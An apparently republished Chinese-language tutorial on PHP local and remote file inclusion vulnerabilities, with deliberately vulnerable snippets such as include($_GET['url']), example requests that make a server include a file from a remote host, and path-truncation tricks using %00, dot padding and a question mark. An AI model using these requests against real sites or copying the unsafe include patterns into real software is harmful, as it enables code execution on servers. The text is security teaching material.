PHP文件包含漏洞
来源:互联网 发布:vb中int是什么意思 编辑:程序博客网 时间:2024/04/29 01:31
PHP的文件包含可以直接执行包含文件的代码,包含的文件格式是不受限制的。
文件包含分为本地文本包含(local file include)和远程文件包含(remote file include)
文件包含函数有:include(),include_once(),require()和require_once(), 它们之间的区别在于include()和include_once()在包含文件时即使遇到错误,下面的代码也会继续执行;而require()和require_once()则会直接报错退出程序。它们的写法可以在括号里面写要包含的路径,也可以直接用空格再跟路径。
1.本地文件包含是指只能包含本机文件的包含漏洞,大多出现在模块加载,模板加载和cache调用的地方
payload:
<?php define("ROOT",dirname(__file__).'/');
$mod=$_GET['a']; //加载模块
include(ROOT.$mod.'.php');
?>
请求1.php?a=2 , 其中2.php的内容为<?php phpinfo(); ?>
2.远程文本包含是指可以包含远程文件的包含漏洞,远程文件包含需要设置allow_url_include=on
payload:
<?php include($_GET['url']);?>
请求url参数传入“http://remotehost/2.txt”, 其中2.txt的内容为<?php phpinfo();?>
文件包含截断:正常程序里面包含的文件代码一般像include(basepath.$mod.'.php')或者include($mod.'.php'),如果不能写入.php的后缀名的文件,则需要截断
1.利用%00截断
payload:
<?php include $_GET['a'].'.php'?>
请求1.php?a=2.txt%00, 其中2.txt的内容为<?php phpinfo();?>
注意:%00截断受限于GPC开启和addslashes等函数的过滤,且在5.3之后的版本不能用这个方法截断
2.利用点句(.)和反斜杠(/)来截断
payload:
<?php $str=' '; for($i=0;$i<=240;$i++) {$str.='.';}
$str='2.txt'.$str; include $str.'.php'; ?>
注意:这种方法不受GPC限制,不过在php5.3之后被修复
3.利用问号(?)伪截断
payload:
<?php include $_GET['a'].'.php'?>
请求1.php/a=2.txt?, 其中内容为<?php phpinfo();?>
- PHP文件包含漏洞
- php远程文件包含漏洞
- PHP文件包含漏洞利用
- PHP文件包含漏洞总结
- PHP文件包含漏洞详解
- PHP文件包含漏洞总结
- PHP文件包含漏洞总结
- php文件包含漏洞利用
- PHP文件包含(include)致命漏洞
- PHP文件包含漏洞攻防实战
- PHP文件包含漏洞攻防实战
- PHP文件包含漏洞攻防实战
- php文件包含+伪协议+文件上传漏洞利用实例
- PHP文件包含漏洞原理分析和利用方法
- PHP文件包含漏洞原理分析和利用方法
- PHP文件包含漏洞原理分析和利用方法
- PHP文件包含漏洞原理分析和利用方法
- PHP文件包含漏洞原理分析和利用方法
- matplotlib模块数据可视化-饼状图及补充图
- 第一节:环境搭建
- SPI协议及工作原理
- 463. Island Perimeter
- Node.js 安装配置
- PHP文件包含漏洞
- 软件测试必读的七本书
- 浅谈ios为什么比安卓流畅
- POJ
- js跨浏览器操作
- 调试错误的解决:error LNK2005: "void * __cdecl operator new(unsigned int)" (??2@YAPAXI@Z) 已经在 LIBCMT.lib(ne
- 浏览器结构
- 服务器端解决ajax请求跨域
- 一道腾讯面试题(使用递归、循环、数组实现上台阶方法)